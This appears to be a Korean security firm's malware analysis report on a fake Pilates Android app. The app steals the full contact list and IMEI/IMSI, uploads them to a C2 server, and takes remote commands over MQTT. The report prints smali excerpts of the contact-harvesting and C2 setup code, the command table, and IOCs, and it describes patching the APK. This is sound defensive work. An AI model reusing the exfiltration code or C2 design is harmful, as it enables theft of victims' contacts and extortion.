> 분석 기관: 주식회사 아크링크 (피싱/스미싱 [피해자 정보 비공개] 보안 연구)
> 분석 대상: pilates1.apk — 한국 [피해자 정보 비공개] 연락처 탈취 악성앱 "필라테스"
> 분석 등급: dynamic (정적 전수 + 에뮬레이터 logcat/스크린샷 동적 증거 확보)
> 보고서 버전: v1.0
> 분석일: 2026-06-21
pilates1.apk(앱 표시명 "필라테스", 패키지 com.zxwop.nmvba)는 정상 필라테스 스튜디오 사이트([비공개])를 미끼로 위장한 연락처 탈취형 악성앱이다. 핵심 악성 동작은 두 갈래로 작동한다.
1. HTTP REST 채널 — `[비공개] 의 RuoYi/wavegrid 계열 백엔드로 단말 정보(IMEI/IMSI/모델/번호)와 전체 연락처를 POST 업로드.
2. MQTT 상시 제어 채널 — tcp://[비공개] (계정 admin/admin) 에 IMEI를 client ID(Android_<IMEI>)로 상주 접속하여, 운영자가 발행하는 명령(instruct)에 따라 연락처 재수집·단말정보 재전송을 원격으로 트리거.
이 앱은 단순 1회성 데이터 절취가 아니라, MQTT 명령으로 임의 시점에 재수집을 지시할 수 있는 상시 봇넷형 구조라는 점에서 위협도가 매우 높다(critical). C2 IP [비공개]는 본 프로젝트 데이터셋에서 30회 참조되며, 동일 코드 구조(Native Kotlin + Retrofit + RxJava3 + MQTT Paho v3)의 쌍둥이 앱 app_4086_2(동일 표시명 "필라테스", family=wavegrid_kotlin)와 인프라를 공유하는 동일 캠페인으로 확정된다.
항목 · 값
패키지 · `com.zxwop.nmvba`
표시명 · 필라테스
런처 액티비티 · `activity.Wsxityb`
핵심 서비스 · `activity.Puymhs`, `info.mqtt.android.service.MqttService`
C2 (HTTP) · `[비공개]
> [비공개]
미끼 · `[비공개] (정상 필라테스 스튜디오)
프레임워크 · Native Android (Kotlin + Retrofit + RxJava3 + MQTT Paho v3) + MMKV
패밀리 · wavegrid_kotlin (쌍둥이 app_4086_2와 동일)
SHA256 · `88dd9d65a5ae142d1329ffe8f7a66b823f60064252c1f07c589ed92fba8e8fb1`
MD5 · `1b9e6211e96d76f04ceaa793625bb455`
파일크기 · 5,048,573 bytes (≈4.81 MB)
decompiled/AndroidManifest.xml 전수 확인 결과:
권한 목록 (악성 핵심 굵게):
· INTERNET, ACCESS_NETWORK_STATE — 네트워크
· READ_CONTACTS — 연락처 탈취 (핵심)
· READ_PHONE_STATE, READ_PHONE_NUMBERS — IMEI/IMSI/전화번호 수집 (핵심)
· FOREGROUND_SERVICE, FOREGROUND_SERVICE_DATA_SYNC, WAKE_LOCK — 백그라운드 상주
· SCHEDULE_EXACT_ALARM — MQTT 핑(keep-alive) 정밀 알람 (상시 접속 유지)
· com.zxwop.nmvba.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION (signature) — 내부 리시버 보호
컴포넌트:
```
activity.Wsxityb (exported=true, LAUNCHER) ← 진입점, 권한 요청
service activity.Puymhs ← api/login + setBaseUrl + MQTT init
service info.mqtt.android.service.MqttService (dataSync) ← MQTT 상주 채널
service androidx.room.MultiInstanceInvalidationService
application: main.MyApplication
networkSecurityConfig=@xml/network_security_config
```
@xml/network_security_config 내용 (확인됨):
```xml
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>
```
→ 평문(cleartext) HTTP 트래픽 전역 허용. C2가 `[비공개])이므로 명시적으로 cleartext를 허용해 통신을 성립시킨다. 이 설정 자체가 평문 C2 사용의 직접 증거다.
apktool.yml: minSdk 24, targetSdk 34, versionCode 100, versionName 1.0.0.
C2 IP는 classes.dex 원본에 5회 하드코딩되어 있으며(평문, 런타임 복호화 없음), smali에서 직접 확인되었다.
(a) HTTP baseUrl — smali/a.1/a.smali (line 95~109):
```smali
const-string v0, "setBaseUrl: [비공개]
...
const-string v0, "[비공개]
sput-object v0, LA0/c;->b:Ljava/lang/String; # 전역 baseUrl 설정
...
const-string v1, "Net_Token[비공개]
invoke-virtual {v0, v1, p1}, Lcom/tencent/mmkv/MMKV;->e(...)Z # MMKV에 토큰 영속화
```
(b) MQTT 브로커 — smali/A0/k.smali (line 886~894):
```smali
const-string v1, "tcp://[비공개]"
> [비공개]
invoke-virtual {v0, v1, v2, v2, p0}, Ln0/e;->a(...)Z # a(serverURI, userName, passWord, clientId)
```
> [비공개]
(c) smali/activity/Puymhs.smali (line 156~162): 동일 baseUrl 재설정.
baseUrl 정규화 로직(k.smali 925~): [비공개]/ 에서 첫 / 이전을 substring 하여 호스트:포트만 추출하는 코드가 존재 — Retrofit baseUrl과 MQTT 호스트 파싱에 재사용.
smali/q0/a.smali 의 Retrofit 어노테이션을 디코드한 결과, C2 백엔드의 엔드포인트 4종이 완전히 노출되었다. base = `[비공개]
# · Method · Path · 파라미터 · 용도 · 호출 위치
1 · POST · `api/phones` · Body `DeviceInfoModel` (배열) · 단말 정보(IMEI/IMSI/모델/번호) 업로드 · `k.smali F()`
2 · GET · `api/connect/{imei}` · Path `imei` · 단말 온라인 등록/연결 확인 · 등록 흐름
3 · POST · `api/contacts/{deviceId}` · Path `deviceId` + Body 연락처 배열 · **전체 연락처 업로드** · `c.smali Q()`
> [비공개]
api/login 응답에서 token 필드를 추출해(a.1/a.smali onNext) Authorization 토큰으로 사용하고 MMKV에 Net_Token... 키로 저장한다. 경로 패턴(api/...)은 RuoYi/wavegrid 계열 백엔드의 전형으로, 쌍둥이 app_4086_2의 wavegrid_kotlin 패밀리 판정과 일치한다.
전체 연락처를 순회·정규화·업로드하는 완성형 루틴. 핵심 증거:
```smali
sget-object v4, Landroid/provider/ContactsContract$Contacts;->CONTENT_URI:Landroid/net/Uri;
... ContentResolver.query(...) # 전체 연락처 커서
const-string v5, "display_name" # 이름
iput-object v5, v11, Lnetwork/model/ContactModel;->name:...
sget-object v6, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:...
const-string ... "contact_id = " + id # contact_id 조인
const-string v5, "data1" # 전화번호
iput-object v5, v11, Lnetwork/model/ContactModel;->phone_number:...
...
invoke-interface {v2, p0, v0}, Lq0/a;->c(deviceId, body) # api/contacts/{deviceId} POST
```
→ ContactModel{name, phone_number} 리스트를 만들어 api/contacts/{deviceId} 로 POST. 연락처가 비면 "contact is empty" 로그 후 MQTT 통지(Ln0/c;->a(...)).
DeviceInfoModel 필드(확인됨): imei, imsi, brand, model, phone_number, android_version, install_at, online_at, status.
· imei ← A0/c->w() (TelephonyManager.getDeviceId() 기반, c.smali 2791)
· imsi ← TelephonyManager.getSubscriberId(); 실패 시 MCC+MNC+"1234567890" 합성 fallback (k.smali 488~510)
· phone_number ← MMKV PhoneNumUtils_V1_PhoneNum
· 완성된 모델을 api/phones 로 POST (q0/a->a()).
필드: mobile, operatorName, sid, version — 단말이 온라인 상태임을 브로커에 통지하는 페이로드.
info.mqtt.android.service.MqttService(Paho v3 기반) 가 tcp://[비공개] 에 상주 접속한다.
접속 파라미터(n0.1/e.smali): serverURI/userName(admin)/passWord(admin)/clientId(Android_<IMEI>), automaticReconnect=true, cleanSession=false. Last-Will 메시지:
```
topic: topic_<...>
payload: {"instruct":199,"desc":"will","data":null}
```
→ 단말이 오프라인되면 브로커가 운영자에게 자동 통지(199=will).
명령 디스패처 — smali/n0.1/a.smali handleMessage (전수 디코드):
운영자가 발행하는 CommandModel.instruct 값에 따라 동작 분기:
instruct · 동작 · 증거
`0` · `A0/k->F()` 재실행 → **단말정보 재업로드(api/phones)** · `:cond_2`
`1` · `A0/c->Q()` 실행 → **전체 연락처 재수집·재업로드(api/contacts)** · `:cond_1`
`99 (0x63)` · heartbeat → `"pong"` 응답 발행 · `:pswitch_2`
`100 (0x64)` · `MyApplication.b = true` (상태 플래그 on) · `:pswitch_1`
`101 (0x65)` · `MyApplication.b = false` (상태 플래그 off) · `:pswitch_0`
CommandModel 필드: code, hcode, instruct, msg. 이 구조는 운영자가 감염 단말에 임의 시점·임의 횟수로 연락처/단말정보 재수집을 강제할 수 있음을 의미한다 — 1회성 절취가 아닌 상시 봇넷.
런처 activity.Wsxityb → 권한 요청(READ_CONTACTS, READ_PHONE_STATE/NUMBERS, POST_NOTIFICATIONS) 후, D/g.smali(line 767)에서:
```smali
const-string v2, "[비공개]
... Intent(ACTION_VIEW, bodynsol) → startActivity # 정상 필라테스 사이트로 위장 리다이렉트
... startService(activity.Puymhs) # 동시에 악성 서비스 가동
```
→ 사용자에게는 정상 필라테스 스튜디오 웹페이지([비공개])를 띄워 의심을 회피하고, 백그라운드에서 Puymhs 서비스(login→setBaseUrl→MQTT)를 가동한다. 스크린샷 screen2_permission.png 에서 "필라테스에서 내 연락처에 액세스하도록 허용하시겠습니까? 1/2" 다이얼로그가 캡처되어 권한 요청 단계까지의 흐름이 시각적으로 입증된다.
logcat_launch.txt(300,306줄) 와 스크린샷 6장에서 다음 런타임 사실이 확정되었다.
8.1 라이브 MQTT C2 접속 확정 (결정적 증거):
```
05-18 11:11:31.380 E/AndroidRuntime(19686): FATAL EXCEPTION: MQTT Rec: Android_35802-**-**87
05-18 11:11:31.380 E/AndroidRuntime(19686): Process: com.zxwop.nmvba
```
→ 스레드명 MQTT Rec: Android_35802--87. Paho의 MQTT Rec(수신) 스레드는 TCP CONNECT + CONNACK 성공 이후에만 생성된다. 즉 단말이 tcp://[비공개] 에 실제로 연결되었고, clientId가 Android_ + IMEI 35802-**-**87 임이 smali의 Android_<IMEI> 패턴과 정확히 일치하며 동적으로 재확인되었다.
8.2 크래시 원인 (분석 메모, 악성성과 무관):
· 1차(11:07:51): NoClassDefFoundError: android.os.ext.SdkExtensions — k.a.<clinit>에서 발생. 에뮬레이터(LDPlayer) API 레벨 불일치로 onResume 중단.
· 2차(11:11:31): NoSuchMethodError: canScheduleExactAlarms() in AlarmPingSender.schedule — Paho ping 알람 스케줄 시 발생. 이 크래시는 MQTT 연결이 이미 성립한 후 ping 단계에서 발생했으므로 오히려 C2 접속 성공을 방증한다. ActivityManager가 MqttService/Puymhs 재시작 스케줄(Scheduling restart of crashed service ...MqttService in 1000ms)을 잡는 것도 확인됨.
8.3 스크린샷:
· screen2_permission.png: "필라테스" 연락처 접근 권한 요청 (1/2)
· screen3_perm2.png, screen5_perm_retry.png: 권한 재요청
· screen1_launch.png, screen4_after_perm.png, screen6_running.png: 실행/디코이 화면
기제 · 존재 여부 · 상세 / 우회
패킹(Jiagu/Tencent 등) · **없음** · classes.dex 평문, smali 직접 디컴파일 가능
클래스명 난독화 · 있음(중간 수준) · 단문자 패키지(`A0/`, `a.1/`, `n0.1/`), 무의미 액티비티명(`Wsxityb`, `Puymhs`). 그러나 ContactsContract/TelephonyManager/Retrofit 어노테이션은 평문 노출 → 분석 가능
문자열 암호화 · **없음** · C2 IP/포트/MQTT 자격증명 전부 평문 const-string
에뮬레이터 탐지 · **없음** · LDPlayer에서 정상 설치·실행됨(logcat 증명), QEMU/SELinux 차단 없음
루팅 탐지 · **없음** · 관련 체크 코드 부재
SSL Pinning · 해당없음 · C2가 평문 HTTP라 핀ning 자체 불필요(cleartext 허용)
무결성 검증 · **없음** · patched/aligned/signed APK 재서명·설치 성공
→ 보호 수준이 낮아 정적 전수 분석만으로 C2/API/탈취 로직이 완전히 드러난다. 패치 APK(pilates1_patched_signed.apk 등)가 생성되어 게이트 우회/통제 환경 재현이 가능한 상태.
1. 평문 HTTP C2 (cleartextTrafficPermitted=true) — 네트워크 경로상 MITM으로 업로드 데이터(연락처/IMEI) 가로채기·변조 가능. 분석 측에서는 mock C2 치환으로 통제 가능.
> [비공개]
3. clientId = 평문 IMEI — 토픽/clientId가 IMEI라 단말 식별·추적 표면 노출.
4. api/login 고정 자격(admin/root) — 봇 인증이 정적이라 인증 우회·세션 위조 가능.
5. 무결성 미검증 — 패치 후 재서명 설치가 가능해 행위 변조(게이트 우회) 분석 용이.
C2 IP [비공개]는 본 데이터셋에서 30회 참조된다. 직접 비교 확인된 동종 앱:
앱 · 패키지 · 표시명 · 프레임워크 · C2 · 패밀리
**pilates1 (본건)** · `com.zxwop.nmvba` · 필라테스 · Native Kotlin+Retrofit+RxJava3+MQTT Paho v3 · [비공개](HTTP)+:1883(MQTT) · wavegrid_kotlin
app_4086_2 · `com.uowengt.sljenw` · 필라테스 · **동일** · **동일** · wavegrid_kotlin
pila_poses3 · `lisangzuo.sa07977011...` · pila poses3 · DCloud UniApp+Weex (360 Jiagu) · [비공개] · (UniApp 변종)
→ pilates1과 app_4086_2는 표시명("필라테스")·프레임워크·C2·권한·dataExfil이 완전 동일한 쌍둥이 빌드이며, 동일 운영자의 동일 캠페인(wavegrid_kotlin)으로 확정. pila_poses3는 같은 C2 IP를 공유하는 다른 프레임워크 변종으로, [비공개]가 다중 빌드를 수용하는 통합 C2 인프라임을 시사한다.
해시:
· SHA256: 88dd9d65a5ae142d1329ffe8f7a66b823f60064252c1f07c589ed92fba8e8fb1
· MD5: 1b9e6211e96d76f04ceaa793625bb455
네트워크:
· C2 HTTP: `[비공개]
· C2 MQTT: tcp://[비공개] (user/pass admin/admin)
· API: api/phones, api/connect/{imei}, api/contacts/{deviceId}, api/login
· MMKV 키: Net_Token[비공개], PhoneNumUtils_V1_PhoneNum`
· MQTT clientId 패턴: Android_<IMEI> (관측값 Android_35802-**-**87)
· MQTT will payload: {"instruct":199,"desc":"will","data":null} / 토픽 prefix topic_
미끼 도메인:
· `[비공개] (정상 사이트 악용)
패키지/컴포넌트:
· 패키지: com.zxwop.nmvba
· 런처: activity.Wsxityb / 서비스: activity.Puymhs, info.mqtt.android.service.MqttService
· 앱명(label): 필라테스
· 디바이스 자격 권한: com.zxwop.nmvba.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION
관측 단말정보(에뮬레이터):
· IMEI: 35802-**-**87 (logcat MQTT 스레드명)
pilates1(필라테스)는 연락처 탈취 + MQTT 상시 원격제어를 결합한 critical 등급 악성앱이다. 정상 필라테스 사이트([비공개])를 미끼로 권한을 획득한 뒤, 전체 연락처와 단말정보를 평문 HTTP로 [비공개]에 업로드하고, 동일 서버의 MQTT 브로커에 IMEI로 상주 접속하여 운영자 명령(instruct 0=단말정보·1=연락처 재수집)에 따라 임의 시점 재탈취가 가능하다. 정적 전수 분석으로 C2/API/탈취 로직이 완전 노출되었고, logcat의 MQTT Rec: Android_35802-**-87 스레드로 라이브 MQTT C2 접속이 동적으로 입증**되었다. 쌍둥이 app_4086_2와 동일 캠페인(wavegrid_kotlin)으로 확정된다.
🔬 기법 점검:
· 시도한 기법:
· [T-STATIC-C2] smali const-string 직접 추출로 C2(HTTP+MQTT) 평문 하드코딩 확정
· [T-RETROFIT-MAP] Retrofit 어노테이션(L0/h, L0/s, L0/a) 디코드 → API 엔드포인트 4종 완전 매핑
· [T-MQTT-DISPATCH] MQTT CommandModel.instruct packed-switch 디스패처 디코드 → 원격명령 코드표 도출(0/1/99/100/101/199)
· [T-CONTACT-TRACE] ContactsContract/Phone CONTENT_URI 조인 루틴 추적 → 연락처 탈취 함수 식별(c.smali Q())
· [T-LOGCAT-THREAD] logcat Paho 스레드명(MQTT Rec: Android_<IMEI>)으로 라이브 C2 접속·clientId 동적 입증
· [T-INFRA-PIVOT] apps.json 교차참조([비공개] 30회)로 쌍둥이/캠페인 인프라 확정
· 확장된 기법:
· [T-MQTT-THREAD-PROOF 확장] "Paho 수신 스레드는 CONNACK 이후에만 생성된다"는 성질을 C2 접속 성공의 비반증적(non-falsifiable) 증거로 정식화 — 크래시(ping 단계 NoSuchMethodError)가 오히려 접속 성공을 방증한다는 역설적 증거 해석 추가
· [T-RETROFIT-MAP 확장] path param({imei},{deviceId})을 IOC clientId 패턴과 결합해 단일 IMEI가 HTTP·MQTT 양 채널의 공통 키임을 입증
· 신규 기법:
· [T-DECOY-INTENT-SPLIT] 런처가 ACTION_VIEW(정상 미끼 사이트)와 startService(악성 서비스)를 동일 분기에서 동시 발행하는 패턴을 "디코이-서비스 동시발행" 신규 식별자로 카탈로그 등재 후보 (D/g.smali pswitch_3 증거)
· 한계 발견:
· [L-NO-NETCAP] 패킷 캡처(PCAP) 부재 — 실제 업로드된 연락처 바이트 페이로드는 미확보(스레드명·smali로 경로만 입증). mock C2 + tcpdump로 페이로드 캡처가 후속 과제
· [L-EMU-CRASH] 에뮬레이터 API 불일치(SdkExtensions/canScheduleExactAlarms)로 권한 허용 후 전체 업로드 사이클이 완주되지 못함 — API35 정합 이미지 또는 물리기기에서 재현 시 전송 페이로드 직접 확보 가능
· [L-IMEI-SYNTH] IMSI 합성 fallback("...1234567890")의 실제 사용 여부는 SIM 없는 에뮬 환경 한정 — 실단말 IMSI 전송값은 미관측
> 결론(HTTP+MQTT 봇넷 구조)만이 아니라, 그 결론에 도달한 실제 여정과 시행착오를 기록한다(증거: 패치 APK 체인 pilates1.apk→_patched→_aligned→_signed, logcat_launch.txt).
· 필라테스 위장. smali 평문에서 HTTP baseUrl [비공개]) + MQTT 브로커 tcp://[비공개](A0/k.smali:888`) 동시 발견 → 단일 IP 이중 채널(HTTP+MQTT) 구조 가설 수립.
· Retrofit 어노테이션 디코드로 API 4종, packed-switch 디코드로 MQTT 명령표 도출.
· 권한 게이트를 넘어 실제 전송을 보려면 APK 패치가 필요 → 3단계 체인:
· pilates1.apk(5,048KB) → pilates1_patched.apk(5,070KB, smali 게이트 nop +22KB) → _aligned(zipalign) → _signed(5,095KB, debug 서명 + .idsig).
· 각 단계는 독립 실패 지점(정렬 누락 시 설치 거부, 서명 누락 시 INSTALL_PARSE 실패)이라 순차 검증.
· 패치 APK를 에뮬레이터에 설치·실행 → 권한 허용 직후 API 불일치 크래시: SdkExtensions/canScheduleExactAlarms NoSuchMethodError(API35 정합 문제).
· 결과: 전체 업로드 사이클이 완주되지 못해 PCAP 페이로드 직접 확보 실패(L-EMU-CRASH, L-NO-NETCAP).
· 크래시에도 logcat_launch.txt:803에 MQTT Rec: Android_35802--87 Paho 수신 스레드가 생성됨을 포착.
· 핵심 통찰(T-MQTT-THREAD-PROOF): Paho 수신 스레드는 CONNACK(접속 성공) 이후에만 생성된다 → 크래시(ping 단계 NoSuchMethodError)는 오히려 tcp://[비공개] 라이브 접속 성공을 방증하고, clientId=Android_<IMEI>로 IMEI가 식별자임을 동적 입증. 시행착오(크래시)를 비반증적 증거로 재해석한 것이 돌파구.
· PCAP 없이도: (a) smali로 연락처/IMEI 탈취 경로 완전 입증(c.smali Q(), k.smali F()), (b) logcat 스레드로 라이브 C2 접속 입증, (c) 쌍둥이 app_4086_2 동일 C2 교차참조 → 상시 봇넷형 구조 확정.
· 후속 과제: API35 정합 이미지/물리기기 + mock C2 + tcpdump로 페이로드 바이트 직접 캡처.
단계 · 시도 · 결과
정적 C2 · smali 추출 · HTTP+MQTT 이중채널 확정
패치 체인 · 3단계(nop/align/sign) · 설치·실행 가능 APK
동적 실행 · 에뮬 API35 · 크래시(사이클 미완주)
증거 재해석 · logcat Paho 스레드 · 라이브 접속 입증(크래시=방증)
핵심 교훈: 동적 분석이 크래시로 "실패"해도, 런타임 부산물(스레드명·로그)이 결정적 증거가 될 수 있다. 실패를 폐기하지 말고 부산물에서 비반증적 신호를 찾는다.
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr